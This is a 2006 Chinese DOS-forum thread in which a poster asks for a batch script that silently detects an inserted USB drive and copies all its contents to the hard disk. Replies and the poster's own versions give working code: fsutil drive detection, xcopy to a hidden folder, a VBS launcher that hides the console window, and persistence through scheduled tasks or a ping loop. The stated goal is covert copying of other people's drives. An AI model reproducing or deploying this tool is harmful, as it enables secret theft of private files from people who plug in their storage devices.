中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-07-02 18:00
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 如何判断U盘已插入并自动COPY所有内容 查看 15,633 回复 40
楼 主 如何判断U盘已插入并自动COPY所有内容 发表于 2006-11-29 13:29 ·  中国 重庆 沙坪坝区 电信
初级用户
★★
积分 105
发帖 77
注册 2006-11-09 02:14
19年会员
UID 70077
性别 男
来自 重庆
状态 离线
有个仙要我写一个批处理,先判断U盘是否已插入,要是插入就自动COPY所有内容到硬盘,而且还要悄悄的。。。我左思右想,还是想不出来,来这里请教各位大仙~~~
谢谢!!!
最好是可以常注内存并自动判断滴,可以用第三方软件,比如SLEEP,choice等等。。。


现有最新版本为(更新中):
16楼 http://www.cn-dos.net/forum/viewthread.php?tid=25190&fpage=1&highlight=&page=2


[ Last edited by gene771771 on 2006-11-30 at 01:51 AM ]
本帖最近评分记录 (共 2 条) 点击查看详情
评分人分数时间
fpqcj +1 2007-03-12 01:02
+1 2010-09-04 15:16
2 发表于 2006-11-29 22:53 ·  中国 江苏 南京 电信
高级用户
★★
积分 623
发帖 214
注册 2006-09-22 20:48
19年会员
UID 63387
状态 离线
判断驱动器类型:
for %%i in (c d e f g h i j k) do@fsutil fsinfo drivetype %%i:>>d:\t.txt
findstr /i "可移动驱动器" d:\t.txt
if errorlevel==1 goto end
if errorlevel==0 goto cop
:end
exit
:cop
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" d:\t.txt') do@set yidong=%%i
copy %yidong%\*.* d:\ /y
存为g.bat
再在机子上执行一条每隔一些时间执行一次g.bat的命令
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr g.bat
其中2是指每两分钟执行一次.
其它的你再改改.没测试
本帖最近评分记录 (共 1 条) 点击查看详情
评分人分数时间
txratu +2 2007-11-29 10:38
3 发表于 2006-11-29 23:46 ·  中国 北京 联通
银牌会员
★★★
努力做坏人
积分 1,185
发帖 438
注册 2006-08-28 12:00
19年会员
UID 61449
来自 北京
状态 离线
其实向楼主那样说用BAT来实现,效果并不是最佳,因为运行的时候必定会出现窗口,这样就不能达到隐藏的目的了,所以我没有什么可说的了
本帖最近评分记录 (共 1 条) 点击查看详情
评分人分数时间
gene771771 +1 2006-11-30 08:25
我今后在论坛的目标就是做个超级坏人!!!
4 发表于 2006-11-30 01:23 ·  中国 江苏 南京 电信
高级用户
★★
积分 623
发帖 214
注册 2006-09-22 20:48
19年会员
UID 63387
状态 离线
再改进一下:
隐藏,调用一次vbs就行了

for %%i in (c d e f g h i j k) do @fsutil fsinfo drivetype %%i:>>d:\t.txt
findstr /i "可移动驱动器" d:\t.txt
if errorlevel==1 goto end
if errorlevel==0 goto cop
:end
exit
:cop
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" d:\t.txt') do @set yidong=%%i
copy %yidong%\*.* d:\ /y
del d:\t.txt
存为g.bat
set ws=WScript.CreateObject("WScript.Shell")
ws.Run "d:\g.bat",0
存为b.vbs
再运行一次
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr d:\b.vbs
即可.

[ Last edited by tianzizhi on 2006-11-30 at 01:27 AM ]
本帖最近评分记录 (共 2 条) 点击查看详情
评分人分数时间
gene771771 +1 2006-12-01 04:51
tashaxin +2 2007-02-03 00:25
5 发表于 2006-11-30 07:06 ·  中国 北京 朝阳区 联通
高级用户
★★
朦胧的世界
积分 579
发帖 218
注册 2006-10-24 04:29
19年会员
UID 67972
状态 离线
计划任务的服务一般都是关闭的,还是INF比较实际一些..

认识自己,降伏自己,改变自己
,才能改变别人!
6 发表于 2006-11-30 08:22 ·  中国 江苏 南京 电信
高级用户
★★
积分 623
发帖 214
注册 2006-09-22 20:48
19年会员
UID 63387
状态 离线
计划服务大部分都是默认开着的,而不是关着的,我还没见到过重装系统后计划是关的情况.还有汇编,有几个人会用.我们的要求是通用性,人人都会,能简单就尽量简单,能不用第三方软件就尽量不用第三方软件.
7 发表于 2006-11-30 08:34 ·  中国 北京 朝阳区 联通
高级用户
★★
朦胧的世界
积分 579
发帖 218
注册 2006-10-24 04:29
19年会员
UID 67972
状态 离线
很多系统的优化都会把计划任务关了,现在装原版系统的也不多了.
inf说得是INF文件.

认识自己,降伏自己,改变自己
,才能改变别人!
8 tao0610 发表于 2006-11-30 09:06 ·  中国 重庆 沙坪坝区 电信
初级用户
★★
积分 105
发帖 77
注册 2006-11-09 02:14
19年会员
UID 70077
性别 男
来自 重庆
状态 离线
请问通过INF怎么实现呢??
9 修改后的代码 发表于 2006-11-30 10:37 ·  中国 重庆 沙坪坝区 电信
初级用户
★★
积分 105
发帖 77
注册 2006-11-09 02:14
19年会员
UID 70077
性别 男
来自 重庆
状态 离线
首先,非常感谢tianzizhi提供的源代码,
我现在将修改后的代码发上来,
现在的问题是,怎么启用那个策略呢,默认是关闭的。
或者是不是有高人有其他的解决办法呢???

第一个文件:U盘自动复制.cmd

@echo off
color 17
:start
cls
title $$$$*晗*晗*制*造*$$$$
echo.
echo.
echo.
echo ==============================================================
echo.
echo U盘自动复制程序
echo.
echo 欢迎使用,请选择选项(1,2,3,4,5,6)
echo.
echo [1] 运行程序
echo [2] 关闭程序
echo [3] 安装程序
echo [4] 卸载程序
echo [5] 使用帮助
echo [6] X键关闭
echo.
echo.
echo.
echo ==============================================================
echo.
set /p choice=请输入:
if {%choice%}=={} goto start
if /i %choice%==1 goto open
if /i %choice%==2 goto close
if /i %choice%==3 goto install
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto help
if /i %choice%==x goto shut
goto start



:install
rem ==============================安装程序=============================
if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
rem ==============================隐藏窗口=============================
if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
set path=%temp%\copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >>%temp%\hide.vbs
echo ws.Run "%path%",0 >>%temp%\hide.vbs
echo.
echo 安装成功结束!
pause >nul 2>nul
goto start
rem ==============================安装结束=============================


:uninstall
rem ==============================卸载程序=============================
echo.
schtasks /delete /s system /tn copyfiles /tn copyfiles /f >nul 2>nul
del /Q /f "%temp%\copy.cmd" >nul 2>nul
del /Q /f "%temp%\hide.vbs" >nul 2>nul
del /Q /f "%temp%\copy.tmp" >nul 2>nul
echo 程序已经成功卸载!
pause >nul 2>nul
goto start
rem ==============================卸载结束=============================


:open
rem ==============================运行程序=============================
echo.
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr %temp%\hide.vbs
echo 程序已经成功开始自运行(2分钟扫描一次)!
pause >nul 2>nul
goto start
rem ==============================运行结束=============================



:close
rem ==============================终止程序=============================
echo.
schtasks /delete /s system /tn copyfiles /tn copyfiles /f
echo 程序已经成功结束自运行!
pause >nul 2>nul
goto start
rem ==============================终止结束=============================



:help
rem ==============================使用帮助=============================
cls
echo.
echo.
echo.
echo.
echo.
echo 本工具适用于XPsp2系统,由此造成的一切损失,本人不负任何责任.
echo.
echo 使用方法: 1 点击安装程序
echo 2 点击运行程序,程序将自动每2分钟执行一次
echo 3 请务必确认你要copy的U盘无毒
echo 4 如果你计算机安装有杀毒软件,可能会无法使用VBS代码
echo 5 如果无法自动COPY,请每次手动点击COPY.cmd
echo 6 请及时清理c:\copy文件里边的文件
echo 7 请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘
echo.
echo 本软件为免费软件欢迎大家使用
echo 按任意键返回主菜单
pause >nul
goto start
rem ==============================帮助结束=============================


:shut
rem ==============================关闭程序=============================
exit
rem ==============================关闭结束=============================



第二文件:copy.cmd


@echo off
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "可移动驱动器" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
echo 没有检测到可移动磁盘!
exit
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy
:goon
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
)
del /q "%temp%\copy.tmp"
echo 已复制,请及时清理文件!
本帖最近评分记录 (共 2 条) 点击查看详情
评分人分数时间
+1 2010-06-30 16:53
+1 2010-09-04 15:16
10 发表于 2006-11-30 10:41 ·  中国 江苏 南京 电信
高级用户
★★
积分 623
发帖 214
注册 2006-09-22 20:48
19年会员
UID 63387
状态 离线
请tao0610把你所说的用inf文件能实现楼主要求的程序写出来,让大家看看,我也想看看学习,不要光说不做.
11 上传一个文件,测试用,不完整版本 发表于 2006-11-30 10:41 ·  中国 重庆 沙坪坝区 电信
初级用户
★★
积分 105
发帖 77
注册 2006-11-09 02:14
19年会员
UID 70077
性别 男
来自 重庆
状态 离线


[ Last edited by gene771771 on 2006-11-30 at 04:02 PM ]
附件
U盘自动复制.rar (1.56 KiB, 下载附件所需积分 1 点, 下载次数: 191)
12 发表于 2006-11-30 10:53 ·  中国 江苏 南京 电信
高级用户
★★
积分 623
发帖 214
注册 2006-09-22 20:48
19年会员
UID 63387
状态 离线
楼主做的不错么,鼓励!接着加油!
13 RE:发帖子问我的N个人 发表于 2006-11-30 11:57 ·  中国 重庆 沙坪坝区 电信
初级用户
★★
积分 105
发帖 77
注册 2006-11-09 02:14
19年会员
UID 70077
性别 男
来自 重庆
状态 离线
使用说明里边说得很清楚,要先安装就行了,默认目录在C:\COPY里边,
要是实现开机自动自行倒是简单,但是因为那个策略的问题现在还没有办法在不用第三方软件的条件下实现自动常驻内存。现在那个文件还是不完整的,等待高手来完善,不会的先不要下载。除非你要测试。其实那个copy.cmd是可以用的,但是就是没有办法自动循环扫描。
14 发表于 2006-11-30 13:00 ·  中国 重庆 沙坪坝区 电信
初级用户
★★
积分 105
发帖 77
注册 2006-11-09 02:14
19年会员
UID 70077
性别 男
来自 重庆
状态 离线
再次发个源码上来,这个应该可以用了,大家测试一下:

U盘自动复制安装.cmd

@echo off
color 17
:start
cls
title $$$$*晗*晗*制*造*$$$$
echo.
echo.
echo.
echo ==============================================================
echo.
echo U盘自动复制程序
echo.
echo 欢迎使用,请选择选项(1,2,3,4,5,6)
echo.
echo [1] 运行程序
echo [2] 关闭程序
echo [3] 安装程序
echo [4] 卸载程序
echo [5] 使用帮助
echo [6] X键关闭
echo.
echo.
echo $$$ 晗晗制造,版本1.0 $$$
echo.
echo ==============================================================
echo.
set /p choice=请输入:
if {%choice%}=={} goto start
if /i %choice%==1 goto open
if /i %choice%==2 goto close
if /i %choice%==3 goto install
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto help
if /i %choice%==x goto shut
goto start



:install
rem ==============================安装程序=============================
if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
rem ==============================隐藏窗口=============================
if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
set path=%temp%\copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >>"%temp%\hide.vbs"
echo ws.Run "%path%",0 >>%temp%\hide.vbs
echo.
echo 安装成功结束!
pause >nul 2>nul
goto start
rem ==============================安装结束=============================


:uninstall
rem ==============================卸载程序=============================
echo.
if not exist %temp%\copy.cmd goto start
del /Q /f "%temp%\copy.cmd" >nul 2>nul
del /Q /f "%temp%\hide.vbs" >nul 2>nul
del /Q /f "%temp%\copy.tmp" >nul 2>nul
echo 程序已经成功卸载!
pause >nul 2>nul
goto start
rem ==============================卸载结束=============================


:open
rem ==============================运行程序=============================
echo.
if not exist %temp%\copy.cmd goto start
"%temp%\hide.vbs"
echo 程序已经成功开始自运行(20秒扫描一次)!
pause >nul 2>nul
goto start
rem ==============================运行结束=============================



:close
rem ==============================终止程序=============================
echo.
if not exist %temp%\copy.cmd goto start
tskill ping >nul 2>nul
echo 程序已经成功结束自运行!
pause >nul 2>nul
tskill cmd
rem ==============================终止结束=============================



:help
rem ==============================使用帮助=============================
cls
echo.
echo.
echo.
echo 本工具适用于XPsp2系统,由此造成的一切损失,本人不负任何责任.
echo.
echo 使用方法: 1 点击安装程序
echo 2 点击运行程序,程序将自动每20秒执行一次
echo 3 请务必确认你要copy的U盘无毒
echo 4 如果你计算机安装有杀毒软件,可能会无法使用VBS代码
echo 5 如果无法自动COPY,请每次手动点击COPY.cmd
echo 6 请及时清理默认保存目录c:\copy文件夹里边的文件
echo 7 请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘
echo 8 由于是通过PING来实现定时扫描的,占内存多,使用后请记得关闭
echo 9 本软件不保证拷贝数据的正确性
echo 10 本软件不要使用于非法用途
echo.
echo 本软件为免费软件欢迎大家使用
echo 按任意键返回主菜单
pause >nul 2>nul
goto start
rem ==============================帮助结束=============================


:shut
rem ==============================关闭程序=============================
exit
rem ==============================关闭结束=============================



copy.cmd



@echo off
mode con: cols=14 lines=1
:again
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "可移动驱动器" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
rem 没有检测到可移动磁盘!
ping 127.0.0.1 -n 20 >nul 2>nul
goto again
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy
:goon
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
)
del /q "%temp%\copy.tmp"
rem 已复制,请及时清理文件!
ping 127.0.0.1 -n 20 >nul 2>nul
goto again
15 我写的最终版本 发表于 2006-11-30 14:49 ·  中国 重庆 沙坪坝区 电信
初级用户
★★
积分 105
发帖 77
注册 2006-11-09 02:14
19年会员
UID 70077
性别 男
来自 重庆
状态 离线
原来写了有两个版本,一个用了SLEEP,一个用ping,功能都是一样滴,现在我把两个综合了,在,没有SLEEP的情况下照常使用!
其他的情况看说明!希望高手修改加精!

按照惯例,源码是公开的,大家可以修改,但在可能的情况下尽量保持原作者的信息,这不仅是对别人劳动成果的尊重,也是做人的基本道理。。。


[ Last edited by gene771771 on 2006-11-30 at 03:35 PM ]
本帖最近评分记录 (共 2 条) 点击查看详情
评分人分数时间
jmz573515 +4 2007-02-02 08:29
+1 2010-12-06 18:13
附件
U盘自动复制.rar (9.97 KiB, 下载附件所需积分 1 点, 下载次数: 565)
论坛跳转: